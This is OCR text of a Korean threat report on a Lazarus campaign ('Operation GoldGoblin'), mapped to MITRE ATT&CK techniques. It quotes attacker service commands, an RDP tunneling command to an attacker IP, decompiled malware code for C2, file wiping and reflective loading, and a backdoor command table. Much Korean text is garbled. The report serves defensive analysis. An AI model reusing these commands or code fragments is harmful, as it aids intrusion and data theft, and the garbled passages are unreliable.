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Company Source code Exploit code
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0110101101011
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Lazarus g iPA et QIX|Tt A 5 #2 SAHZ HHE = A2 54 7t HljAtn S 2| RSt 2 I{|0|H2] TTPset 7|1&E 3
= Hlu 24, ofifet SSH o AHEHO| EMSH=R LHSIACH

Worst-case scenario

B2 0] QWO MO M E EFNE AEIYE BAS FUSICH EFAY AT ES P LEIYS Sof AR Bl BHS
Wotor, Bho WE(Y 210 HYIIHQ B2S SR EXAIO| YT 4 AYAKIT LHFDE FAE 2 gl0] 2 EIS
AoICk et A% AE = LR HIHE 7 AlAS 11 52 28t TS IH AME|ACHE ARSIH Eato] op7|E|%tg Zolct

of ol Tetel me7I Qo= IF0] Y QI mat LUK} Eotel S YT ZL WI20| 04 2 JIYS0| hTHRHTE Y 7Y
So| HSATE DHOIA| BHHE £ UAOD 2 LR 0[0fH 4+ AYCH

Countermeasures

Rel= ZEE AEAT, AO|H R MIE|QF XM= H25t0] LS 7| F(AZ A, 2Ot ALEL 0] JHLAL, DFEAO JHEAL S) LHYLZ &
M| msh7t LSty Tofl Z2{eh %S ®MAHSHACE

ZH L7 2lol = TishAtao] EB{LIX| 42 7| o] EXY += JACEZ, 2 20| HolM =2{th Ij37|at 22 Ko HHl=
XA HH@ol 27},

34 AlLtE|L

Compromised

Page access news Watering Hale E] Press page .

Press
Check Target &
Exploit financial security program

Download Malware

Command Control
&
Data Exfiltration

Command Control
E &
3 ) ( Data Exfiltrafion

Internet MNetwork Internal Network
(@
Establish Foothold

Compromised host
(Proxy farm)

@;

Lateral Movement
Malware Infection

Network Scanning

Using financial Security Program Exploit

=
: B
alware Infection
Network Scanning
|
v HoljAtD TTP
Tactic Techniques Sub-techniques Description
Compromise 71 YMHE siZsto]
Resource Development Server
Infrastructure HHXOX|Z AL
" ) . HAE AL AO|EE 9B
Initial Access Drive-by Compromise - — =rmre
= MO|EER 28
OtMTACE AlBHSH | A
Execution SYSTEM Service Service Execution er—=sce=
HIAE 4Xx|, A
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Tactic

Execution

Persistence

Persistence

Privilege Escalation

Defense Evasion

Defense Evasion

Defense Evasion
Defense Evasion

Credential Access

Discovery

Discovery

Lateral Movement

Lateral Movement

Lateral Movement

Collection

Command and Control

Command and Control

Techniques

Command and Scripting
Interpreter

Create or Modify
System Process

Boot or Logon Autostart
Execution

Exploitation for Privilege
Escalation

Masquerading

Masquerading

Indicator Removal
Indicator Removal
Brute Force

Network Service
Discovery

System Network
Connections Discovery

Exploitation of Remote
Services

Remote Services

Remote Services

Input Capture

Proxy

Web Service

Resource Development

Sub-techniques
Windows Command
Shell

Windows Service

Security Support
Provider

Match Legitimate Name
or Location

Masquerade Task or
Service

Clear Windows Event
Logs

File Deletion

Credential Stuffing

Remote Desktop
Protocol

SMB/Windows Admin
Share

Keylogging

Internal Proxy

Bidirectional
Communication

T1584.004 Compromise Infrastructure: Server
Floret AMHE st HROX|Z AHE

Description

cmd BEAE ALE3H0Y
otMIAC M

= oo

A

AYIE MH|2 0152
A MH|AHOR 9T

oF ot
2
Mo
-]
U oo md ox
oF 0%
2 >
~ i
e
=

4 H
o 4

in
°

o
&2
18
|>
=

(D Webshell Upload m

ot 22|} Flok3t M 712e] YAOIE} S IERI0) SN TIAYRE HAHS oHstol WA HE T BHHOIK 75

® Command and Control
[ e 00 | E,

Web Server Victims

(@ Create C&C Page

Attacker

njex| @z
2023-02-09 11:37:26 [Server IP] POST /cheditor/imageUpload/upload.asp - 80 - [Attacker IP] 200 0@ 0 25
2023-02-09 11:37:35 [Server IP] GET /upload/board/2.CeR - 80 - [Attacker IP] 200 0 0 13
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HBAL AR = 72 MHE HASt| EF Hot Z2#o| H=H|0] FofHS 48 4+ A= AE-YE HolX| 1=

~
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@ View internet article

@ Malware Infection

! 1
! I
! i
! i
: = 1
| Victim PC : A Press
| | News WebSite
! 1 C Press
! @ Lateral Movement | P -
! 4
! :
|
| [r— : Exploit.Code Ini ® View internet article
| n |© ploit-Code Inject
: : ® Malware Infection
! News Server | Victim PC
I
|
\

N e e ———— - @ Lateral Movement
@ View internet article . .
Malware Infection Exploit-Code Inject
=

News Server

C Press
Target Company News WebSite

- e e — ———

Initial Access

T1189 Drive-by Compromise
AZAL AO|EES HYE HO|X|2 285t T SHE KW 7oAt AL RE =

RE A Eot Zz=ao| 20| 0| F M AL

@ Check Target IP

@ View internet article p— @ Redirect
O=
f — _——
Victim PC Watering Hole Exploit Server

@ Arvitray file Download and execution Exploit

| t
6‘2 (® Malware Download and Execute

Financial Security Program Malware Distribution Server
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Execution

T1569.002 System Services: Service Execution

PEESYIEE-PYTE

Sof ryTCE MY

4 2022-10-24 O 93434 Service Control Manager 82
[OFEE] 2022-10-24 27 93426 Service Control Manager 7040 82
[OF-L] 2022-10-24 27 92900 Service Control Manager 7040 YE
[OF-E] 2022-10-24 27T 8:4840 Service Control Manager 7040 Si2
® < 2022-10-24 27 8:46:28 Service Control Manager 7040 &
@ g 2022-10-24 271 8:4028 Service Control Manager 7040 Sl
@ =) 2022-10-24 27 837555 Service Control Manager 7040 S
[OF-I 2022-10-24 27 83537 GroupPolicy (Microsoft-Windows-G.. 1501 Sig
[OE:- 2022-10-24 27 834:05 GroupPolicy (Microsoft-Windows-G... 1500 21

O[# £ 7045, Service Control Manager

LEb 2B

Al~Eof Mbla7h X g ST

MH|A 0[&: WinRMSve

MH|A T 0]8: cmd.exe /c start /b C:WprogramDatawpi:Plckwwsmprcvhcst.exe TKmSvyn2Dcm u4chgvyakreca\/Zs7bx|+O/|::YngvXPmdmi/DmszK\G‘I VTMDhGO
MH|= R8: 8T 2= MH|~

MH|2 AT RE: XS AR

MH|2 A8: LocalSystem

A AES0] AH| AT BRI RS UCH

Aid| = O|§: RealTek

AH| = Obg Ol F: %SystemRoot%wSystem32wsvchost.exe -k netsves -p -s RealTek

AMH| 2 S8 AHEX 2E MH|A

A2 AIZ R KHE AR

AH|2 A7: LocalSystem

MNEBO ME| 27 EXE AU,

A H| £ 0| §: MastSoft Recover Data Plugin Management Service

AE| 2 O 01 5: ond.exe jc rundl32.exe C:WProgramDataWiMastersoft WZOOK WZOOKPluginData-RecoverData.bin,pare2_match_data_control_32 startRecoverMatchedData8 -SafeMode -Mode -2
ME| 2 fE: ALSX 2E My|&

ME[A AS RE: RHE AR

MEl2 A% LocalSystem

A service was installed in the system.

Service Name: Microsoft Windows IOBit Enmberate Callout Contect Management Service

Service File Name: cmd.exe /c C:WWindowsWSystemﬂan.exe C:WProgramDataIObitiobitattach.ini,DllAttachClient ManageIOBitStreamData

Service Type: M 8% 2E Ay 2
Service Start Type: = & Al %

T1059.003 Command and Scripting Interpreter: Windows Command Shell

CMD B0iZ ALgoto] oy TE M

cmd.exe /c start /b C:\programData\PicPick\wsmprovhost.exe 1KmSvyn2Dcmu4Scg9vyakrecaVzZs7bx1+0/bYgGbvXPmdm3/0mCmzK1G1VTMDhGO
cmd.exe /c C:\Windows\System32\rund1132.exe C:\ProgramData\IObit\iobitattach.ini,D11AttachClient ManageIOBitStreamData
cmd.exe /c rundll32.exe C:\ProgramData\Mastersoft\ZOOK\ZOOKPluginData-RecoverData.bin, pcre2_match_data_control_32 startRecoverMat:

Persistence

T1543.003 Create or Modify System Process: Windows Service

OfYTE MHIAQ[ AE RHUS XtE AIZICZ HHSI X454 /A

T1547.001 Boot or Logon Autostart Execution: Security Support Provider
A AEIO] A2t | XSO 2 MME|E= Local Security Authority(LSA) Z2M AN ZEE|E Security Support Providers(SSPs)2)

7152 ot M DES SUY 52

ZIX|AEZ| A2 : HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages\[2A 2 EH]
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Security Packages 30 Unknown

Extents < Permissions [# HashSets E Attributes

-

00 00 n'" e'v'p'roc-.-s'y-'s
Privilege Escalation
T1068 Exploitation for Privilege Escalation
CVE-2021-34527 #|HE 2 856I0] #et A& T AHAE HH AT
CVE-2021-34527 : Windows2| Z2IE{ 7|7| &2 AH|AQI Print Spooler AMH|AS 0|%t st A5 8l 91F F= Mel FofH

Field Data

"“WDeviceWHarddiskVolume3#WWindows#System32#spoolsv.exe’ Z2MA(PID 4236)° 'rundl32.exe C:WProgramData
Wssh¥¥update.cpl, SHCreateLocalServerRunDIl sihost' B HE 1 'C:WWindows#WSystem32¥rundll32.exe' 5+ T2 M| A

cCo=L
A40] RHEPE| Q18 2 QLI

Defense Evasion

T1036.004 Masquerading: Masquerade Task or Service

ohy AfHIA 0|2 HA A2 0|22 9I3

(o] P}
=]

MH[A O|F

WinRMSvc

RealTek

MastSoft Recover Data Plugin Management Service

Microsoft Windows IOBit Enmberate Callout Contect
Management Service

T1036.005 Masquerading: Match Legiti

YT 0|28 WY m20Y 0|20 9F

ofyTC Z2 3 ol

o

C:\Programdata\USOShared\wsmprovhost.exe
C:\Programdata\picpick\mi.dll
C:\Programdata\ESTsoft\altools.dat
C:\Programdata\NuGet\nuget.dat
C:\Programdata\lintel\dfrgui.exe
C:\Programdata\ssh\ssh.dat
C:\Programdata\Microsoft\ DRM\DRM.exe
C:\Programdata\SCSKAppLink.dll

C:\Windows\System32\**proc.sys

T1070.001

A ~
= =

=X ==,
=0O

O

SHOe
282X

27| 23l O|HIE 21 Abx|

TTPs #10 : Operation GoldGoblin - M ZH|0] #|2FH

x|
S

A= AANO 715 MH[AZ 2F

=

7|

or

Realtek 2|At HIZ2E 9%

ClIOJE| B MH|AZ 21F

CRoZ=IMOZ Q|

rio

imate Name or Location

Windows C|A
AN Z=20H

=]

ey

Mo zz
HOIDEE &

Xt
=]

Windows A|AR] Hat MR 2|

Indicator Removal: Clear Windows Event Logs

o[ EsH



2023-03-10 27 9:22:47 104 |Microsoft-Windows-Ev %3 =1 IH2 0] 478 &S WsYSTEM

2023-03-10 27 9:22:47 1102 |Microsoft-Windows-Ev %3 21 T 20| AHEISN/A

TM RO INESUL

uondipsag &

FH:
29 m: 5-1-5-18
HEOE: SYSTEM
EH20E: NT AUTHORITY
Rl m: 0x3e7

T1070.001 Indicator Removal: File Deletion
A

3l A Al ofgF = HiO|LH2| 27|2FS 0x0022 HOl&

o

| exe 192.168.2.190.E01’ data partition (EFI 4) Wintel s 119,296
(D) dfrgui.exe~{$00) 192.168.2.190.E01'WBasic data partition (EF1 4)WRoot¥ProgramData'Wintel L e 8
D dfrgui.exe~(s€0) 192.168. 2. 190.E01WBasic data partition (EFI 4) WRootWWProgramDataWintel W R 116
L) Intel 192.168. 2. 190.E01'WBasic data partition (EFI 4) WRootWrrogramData' e ]
D Intel~$130(s30) 192, 168.2. 190.E01¥Basic data partition (EFT 4)WRootWProgramData' e 360

7934 Visible [88.9 MB] 1 Highlighted [117 KB] 192.168.2.190.E01#Basic data partition (EFI 4)#Root#ProgramDatawintelwdfrqui.exe

0 1 2 3 4 5 € 7 8 8 A B C D E F 1011 12 13 14 156 1€ 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 2€ ~
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00

Credential Access

T1110.004 Brute Force: Credential Stuffing

HEE AAHOM 2HED AH S 0| 8310 LHR A|AHQE MA & AE

8 Audit Falure 2022-06-14 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H [ AYE 22257 2ReUC
5 Audit Failure 2022-06-14 E 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H A3 § 223 2¥aUCL
5 Audit Failure 202206-14 2 11:33:5 4625 Microsoft-Windows-5¢Logon N/A WIN-DDINFOBNR 1H HEERI23% 228U
8 AuditFaiure 2022-06-14 273 11:33:5( 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H AEE 2223 22U
ﬂ Audit Failure: 2022-06-14 2¥ 11 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H AE s 2223 2Rg UL
5 Audit Failure 02206-14 2T 1L 4625 Microsoft-Windows-S¢Logon NfA WIN-DDINFOBNR 1H HEE 22237 22U
ﬂ Audit Failure 2022-06-14 23 11:32:2] 4625 Microsoft-Windows-5e Logon N/A WIN-DDINFOBNR 1H AZF BIAL0X 22 UL
& Audit Faiure 202206-14 2 11322 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H AEE 223 RS
& Audit Failure 202206-14 |27 11:10:00 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H AEE 223 2RaUC,
5 Audit Failure 2022-06-14 27 11:10:00 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H APE 223 2B UCEH
5 Audit Falure 202206-14 2 11:10:0( 4625 Microsoft-Windows-5¢ Logon NfA WIN-DDINFOBNR 1H HEERI23% 228U
8 AuditFaiure 2022-06-14 27 9:48:34 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H AHEE 223X 22U
ﬁ Audit Failure: 2022-06-14 27 9:14:19 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H AE s 223 2RgUCL
5 Audit Failure 02206-14  2F o418 4625 Microsoft-Windows-SeLogon NfA WIN-DDINFOBNR 1H HEERI23% 2R
ﬂ Audit Failure 2022-06-14 2751418 4625 Microsoft-Windows-5e Logon N/A WIN-DDINFOBNR 1H ABE BI23X 28 UL
ﬂ Audit Failure: 2022-06-14 27 8:49:03 4625 Micosoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H AFS 2234 E2naU,
5 Audit Failure 202206-14 |27 8:49:03 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H AEE 223 2RaUC,
5 Audit Failure 2022-06-14 23 s: 4625 Microsoft-Windows-5eLogon N/A WIN-DDINFOBNR 1H AZE 223 2ESUCL
8 AuditFalure 20220614 | 2Ha: 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H HEE 2237 288U
8 Audit Failure 202206-14 |27 8:48:35 4625 Microsoft-Windows-SeLogon NfA WIN-DDINFOBNR 1H AZE 2123 RReUD,
ﬂ Audit Failure: 2022-06-14 27 8:48:35 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H HEE EISEA 28U
5 Audit Failure 2022-06-14 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H HEE 21237 22U
8 Audit Failure 2022-06-14 4625 Microsoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H ABERI23% 22U
ﬂ Audit Failure: 2022-06-14 4625 Miosoft-Windows-SeLogon N/A WIN-DDINFOBNR 1H S 2A23 2RsUC,

Discovery

T1046 Network Service Discovery
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TTPs #10 : Operation GoldGoblin - HZH|0| F ™S 0|2 MEX

Y =72 WakeMeOnLan 2| €& 7|52 0|83t0] LI HIEH It A4

Field Data

"WDeviceWHarddiskVolume3WWindows#System32%spoolsv.exe’ T2 M A(PID 4236)2] 'cmd.exe /c C:¥ProgramData
Wssh¥ssh.dat /scan /UselPAddressesRange 1 /IPAddressFrom 10.10.25.1 /IPAddressTo 10.10.25.254 /
UseNetworkAdapter 0 /shtml| C:#ProgramDataWssh#xinfo.log' B2 £ 1 'C:WWindowsWSystem32¥cmd.exe’ 5H2] ZE
M| A ARMO| KL E| S 4= Q=L L}

MmE T e

T1049 System Network Connections Discovery

netstat FH0IE SOl HIEHZI HE HE +F

[Title:]C:\Windows\system32\cmd.exe
[Path: ]\Device\HarddiskVolume4\Windows\System32\cmd.exe
[Time:]2022-10-4 15:30:41

nettat -no[EN]

Lateral Movement

T1210 Exploitation of Remote Services
EH Hot £2 M HE2| M2oo] #AHS AHsIH FHOIS

S RISl A% HI{ QB2 HHS 0lSste] A0l oD MY

(i) Information 202208-11 2% 2:25:35 1000 vmauthd

@ Information 2022-08-11 2% 2:25:35 1000 vmauthd None
m Trfarmabam MIN8.11 @F 72.75.28 AANN wrens A MAama
o — —

§ SR UEESEZRIE 0 S - B H: 1.0.0.20, EtE 22 Z; 0x6061b08e
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T1021.002 Remote Services: SMB/Windows Admin Shares
SMB HZE S5t ZHO|E Al

svg S2t0|YET S /0 TESX 2FagU, SMB SSt0|RET /Y TESHX 2L
2 F: 3221225506 2 8. 3221225506
Collection

T1056.001 Input Capture: Keylogging

7122 ZRIYS 0|goH0] Y% Y, WY HRIY YT 53 47

A
T -

mjo

[Title:]¥= £7d
[Path:]\Device\Harddiskvolume4\Program Files\Bandizip\Bandizip.exe
[Time:]2022-3-30 13:12:18
- - - - - . - - [ o — - - - - -
[Title:]User Login
[Path:]\Device\HarddiskVolume4\Program Files (x86)\FalconStor\VTL 8.20\Console\Bin\javaw.exe
[Time:]2022-3-31 10:55:26

intwemii[shift] ! [Shift L][EN]

Command and Control

T1090.001 Proxy: Internal Proxy

RDP ZE E{2& =715 0|83I0] YHYL ELX| IPE 20
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Attacker Victim
@ Port Listening

@ Port Connection Try
Lex.exe —listen [port1] [port2]

Lex.exe —slave [Attacker IP] [port1] [RDP Port]
/"@) Port Tunneling

@ RDP Connection — (5 RDP Connection Success
mstsc.exe 127.0.0.1 [port2]
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T1102.002 Web Service: Bidirectional Communication

Mo BHHOE S HO|X|(jsp,asp)E M = dHI =t BHHMOSH=C At

= oo

— o —
C&C Server
1.
—
Victim ;
C&C Server MID
C&C Server
e
Manage C&C Server
C&C Server

I Command and Control

&

Attacker
o
v oldIAC TTP

20| AFBE S7E B, 0| F 52 BiR2A 180 UANOETE A0 AN 24 U 52 TTPS T3
Tactic Techniques Sub-technique Description

Match Legitimat HOIATELQN ZEE ¢
Defense Evasion Masquerading Na c eEI Im? e : Ao ZEE ¢

ame or Location Xt
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Tactic

Defense Evasion

Defense Evasion

Execution

Execution

Defense Evasion

Defense Evasion

Defense Evasion

Defense Evasion

Privilege Escalation

Defense Evasion

Defense Evasion

Defense Evasion

Command and Control

Command and Control

Command and Control

Command and Control

Collection

Collection
Collection

Exfiltration

Techniques

System Binary Proxy Execution

Indicator Removal

System Services

Command and Scripting
Interpreter

Obfuscated Files or Information

Obfuscated Files or Information

Obfuscated Files or Information

Obfuscated Files or Information

Abuse Elevation Control
Mechanism

Reflective Code Loading

Deobfuscate/Decode Files or
Information

Hijack Execution Flow

Data Encoding

Encrypted Channel

Application Layer Protocol

Ingress Tool Transfer

Data from Local System

Archive Collected Data
Screen Capture

Exfiltration Over C2 Channel

Sub-technique

Rundll32

File Deletion

Service Execution

Windows Command
Shell

Fileless Storage

Software Packing

Dynamic API
Resolution

Bypass User
Account Control

DLL Side-Loading

Standard Encoding

Symmetric
Cryptography

Web Protocols

Archive via Library

¥ ScskAppLink.dll (Racket Downloader)

racket downloader 2t 22{%l 0| dMHIAEE= ZBR

Sagict.

X|off 22 Al 3! 37t HO|H{2|E CHRZE 2o} |22
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Description

o +-— 2o

fNTE HMS RpIHAH|
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t

Download
A > oG9
- -
Racket Downloader In memory

T1036.005 Masquerading: Match Legitimate Name or Location

ofMIE

rr

SO ATELO{Z FSHI| I3 &R EXSts Hot AXE0{o 0|E2= 2IF

Malicious Code Path : C:\\Users\\Public\\Libraries\\SCSKAppLink.d1l

T1218.011 System Binary Proxy Execution: RundlI32

rundli32.exe2 0|8 24 dilS A

rund1132.exe C:\\Users\\Public\\Libraries\\SCSKAppLink.d11l,ComManagedHelper ReservedFunction4

T1071.001 Application Layer Protocol: Web Protocols

XM OIU CIRZEE Q8 & ¢ TZEZQI 80 7t 443 TEE 0|23l &7t HIO|HE|E CHREE

iF (26 == 1)

port = 443;
dwFlags = @x800000;

}
if (22)
port = a2;
v6 = (sub_l@@eDEee)("Microsoft Edge");
Microsoft_Edge = sub_1@@@ECE@(VE);
hInternet = InternetOpenA(Microsoft_Edge, @, @, 8, 8);
if ( !hInternet )
return -1;
hConnect = InternetConnectA(hInternet, lpszServerName, port, &szUserName, &szPassword, 3u, ©, @);
if ( !'hConnect )
return -1;
hRequest = HttpOpenRequestA(hConnect, "POST", lpszObjectName, "HTTP/1.8", szReferrer, @, dwFlags, @);

T1070.004 Indicator Removal: File Deletion
HHHO|X|2t S4lE Sl Z=7} HO|H2|E Eot A = X7|XHA S AH|

ojuf, S 4 Qi ot7| fls UM = Hio|L{2| UL (4096 byte)E Random byte= HO{# = Alx|
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dwFlagsAndAttributes = GetFileAttributesW(SCSKAppLink_d11_);
if ( dwFlagsAndAttributes == -1 )
return 9;
memset(Buffer, @, sizeof(Buffer));
hFile = CreateFileW(SCSKAppLink_d1l_, exceeeeeee, 3u, @, 3u, dwFlagsAndAttributes, @);// Read, Write
if ( hFile == -1 )
return 0;
FileSize = GetFileSize(hFile, @);
if (i%2==1)

TickCount = GetTickCount();
srand(TickCount);
for ( cnt = @; cnt < 4096; ++cnt )
Buffer[cnt] = rand();
b

else

memset(Buffer, @, sizeof(Buffer));

while ( FileSize )

{
if ( FileSize >= exleee )
v5 = 4096;
else

v5 = FileSize;
if ( !'WriteFile(hFile, Buffer, v5, &NumberOfBytesWritten, @) )

CloseHandle(hFile);
return ©;

}
FileSize -= NumberOfBytesWritten;

T
CloseHandle(hFile);
T
1strcpyW(Stringl, SCSKApplLink_dll_);

lstrepyW(String, SCSKAppLink_d1l_);
v4 = _LDint(Stringl, 92);

if (v4)
v3 = (v4 - Stringl) >> 1;
else

v3 = -1;
for ((k =1; k < 26; ++k )

for (m = v3 + 1; m < lstrlenW(String); ++m )

if ( String[m] != 46 )
Stringl[m] = k + @x41;

if ( !MoveFileW(String, Stringl) )
break;
lstrcpyW(String, Stringl);

return DeleteFileW(String);

¥ Irmons.dll

Irmons= AX|AEZ|0f MEE HO|EE 2{0i2t HiZ2[ol MM HHA|7|= TX2| HetS +AFCE ol 2IX|AEZ|0f XF
E HIOlE{(PE)= ¥AMOY AHF=0|ct

Reg registry data & RC5 Decrypt
(C2 info)

I
Reg registry data & RC5 Decrypt
(malicious code)

l :..-_\ ':. < B
A A
Command & Control
Irmons.dll In memory Exfiltration c?
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T1569.002 System Services: Service Execution

OHYBEL MH|AZ SEE0] AlAHO| 28 © o ohct S5

Name Address Ordinal
f| ServiceHandler 00000001 8000 2FAO

i | DIEntryPoint 00000001 80004D 34 [main entry]

T1027.011 Obfuscated Files or Information: Fileless Storage
AHHILOM ARSI HEE HIXIAER|0| =3} 5t XME
BIXIAEE| gt2 elojet 2=t 2 0|8
o Z|IX|AEZ| g2 RC52 AR E[0] ALH, 7|= AHIE0]| StEZY
GiddyupStda Bold : 23} &l ot A

[

GiddyupStda : 23t =l

LYPELYL = vy
strcpy(SubKey _mal, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Fonts");
strepy(GiddyupStda_mal, "GiddyupStda Bold");

strepy(subkey c2, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Fonts");
strcpy(GiddyupStda_c2, "GiddyupStda");

T1620 Reflective Code Loading

HYIEE FILHXIAEE| S 0t E2ot =, E oot H|0[H E Xl H=2|of XM AAH SE

[y M =

Foif ( *Src 1= "ZM' )

) goto LABEL_4;

i vl3 = Src[15];

"Oif (a2 < vi3 + 264 )
oA

) LABEL_2:

) (SetLastError_@)(13i64);
return 9164;

PoY

. vl4 = Src + vl13;

Fooif ( *(Src + v13) 1= "EP' || *(vi4 + 2) != @x8664 || (*(vid + 14) & 1) != @)
oo

O
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1k
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5
v29 = VirtualAlloc(Malicious PE, v27, @xleeeu, 4u);
memmove(v29, Src, *(vld + 21));
v38 = &v29[Src[15]];
*v25 = v38;
*(v38 + 6) = Malicious_PE;
if ( !sub_1800014BO(Src, a2, vi4, v25) )
goto LABEL_28;
¥(v25 + 9) = *(*v25 + 6) == *(vi4 + 6) ? 1 : sub_180081898(v25);
if ( !sub_180001960(v25) || !sub_180001698(v25) )
goto LABEL_28;
v31l = v25[1];
V32 = ¥(*y25 + 52); |
if (v32)
{
v33 = *&u31[v32 + 24];
if (v33 )
{
for (1 = *v33; i; ++v33 )
{
i(v31l, lied);
i = v33[1];
b
3
}
v35 = *¥(*v25 + 10);
if ( v35)
{
vl = &Malicious_PE[v35];
if ( *(v25 + 8) )

if ( !(vi)(Malicious PE, 1i64, arg) ) // call rax
v28 = 1114;
goto LABEL_27;

by

¥ GiddyupStda Bold

e dHIFE= X AEE|of MEE ClolE HEWZ E[0{RUCE. Irmons.dilo] oI5 S =39t = H22|0)| QX ME|0 MAHE(D],
Mol 7|58 sHeict

A
A

i

T1027 Obfuscated Files or Information

M, EXtE 530 AH8EE k| 212|F 7| H|0|S(Substitution table), BHX0{X| & S0| RC5 =3t £[0] 2| XA
2| 222 MFE|of A2, 0|F EZsI0] At

m nx
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v

RC5 Decrypt(Reg registry data)

(0 Argument ( Key ) o-\",-. Substitution table
»o— (00) —» > 2
— — c2 |_nfo
A1 Setting flag
[rmons.dll In memory

T1132.001 Data Encoding: Standard Encoding

SHEILOIM A= ZXE 2 K8 Z12[F(Substitution) 3 AND SitS S3ll 212

Substitution table

String_(i) I \—» ( table index(i) - Ke|y)&0x3f = Result(i)
|

i

(Key + Result(i)) & 0x3f = Next Key

key = 0xB
for i in target_str:
strl = Substitution_table.index(i)
temp = (strl - key) & 0x3f
out += Enc_Stream[temp]
temp = ord(Enc_Stream[temp])
key = (key + temp) & 0x3f
print(out)

T1005 Data from Local System
T1560.002 Archive Collected Data: Archive via Library

T1113 Screen Capture

n
H2e| IMME AHIEE YO 7|5S SHIH M 7IsF=E2 otiet 23
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struct_qword_180049B70 *result; // rax

command_struct = operator new(®xFOuié4);
command_struct->Get_Systeminfo = GetSystem

command_struct->Get_Drivelist = Get_Drive_

command_struct->Get_FilelList = GET_File_Li
command_struct->CMD_Command = CreatePipe_a

info_1800112D0;
list_180011310;
st_Sub_180011480;
nd_CMD_180011770;

command_struct->Upload_File = Upload_File_180@11A80;
command_struct->Upload_zip Dir = dir_upload_zip_180011BE@;

command_struct->Upload_Zip_File = Upload_z
command_struct->DownloadFile = Download_fi

ip_180011D40;
le_180012400;

command_struct->CreateProcess = CreateProcess_1800127D0;

command_struct->CreateProcess_asuser = UserTokern_OpenProcess_1800128D8;
command_struct->Process_injection = Download_bin_Process_injection_180012990;

command_struct->File_Execute = ExecuteFile_180012CE®Q;

command_struct->Process_list = Get_process

command_struct->systeminfo_reg = get_reg_to_system_info_180013430;

list_180012EF0;

command_struct->TerminateProcess = TerminateProcess_180813500;

command_struct->ScreenCapture = ScreenCapt
command_struct->MoveFile = move_file_186@1
command_struct->connect_arg_new_ip = Conne

command_struct->setCurrentDir_path = setCurrentDirectory_path_180013B10;

ure_18e0013740;
3950;
ct_arg_ip_180013A00;

command_struct->setFileTime = setFiletime_180013C50;
command_struct->terminate_malware = TerminateProcess_180013F30;

command_struct->upload_reg = Upload_regist

ry_value_180014848;

command_struct->check_reg_status_and_update_reg = sub_180014080;
command_struct->Dir_Filelist = Dir_Filelist_180014149;
command_struct->DiskFreeSpace = GetDiskFreeSpaceExA_180014300;

command_struct->set_flag = sub_180014410;
result = command_struct;
command_struct->beacon = sub_180014490;
return result;

struct name
Get_Systeminfo
Get_DrivelList
Get_FileList
CMD_Command
Upload_File
Upload_zip_Dir
Upload_Zip_File
DownloadFile
CreateProcess
CreateProcess_asuser
Process_injection
File_Execute
Process_list
systeminfo_reg
TerminateProcess
ScreenCapture
MoveFile
connect_arg_new_ip
setCurrentDir_path

setFileTime

comment

HAFEHY, A LHE AZH CEER| 2 S HE
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oln
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AAE LY DH2|AE MY
cmd.exe & E% HE ¥
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struct name comment
terminate_malware ot AL LA FX|
upload_reg gIXIAER|(C2 ME U MAEIY) HFF X2 MY

check_reg_status_and_update_reg Z|X|AEzZ| MEi A3 I X|AER| HE AH0|E

Dir_Filelist gD ot 28§ 3
DiskFreeSpace ClAT ME 783 &2l
set_flag ZYa@EIXIAER]) g M
beacon beacon &=

T1132.001 Data Encoding: Standard Encoding
T1573.001 Encrypted Channel: Symmetric Cryptography

TYC|O|E| = AES + Base642 225} 3l QIR S4-4I5tH, O|m ArZEl= AES 7= 4EIE Lol St=EZY

Base64(Encrypt AES( ' data ')
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v23 = 0i64;

v26 = 9;

if ( lcommand_result )
a7 = @;

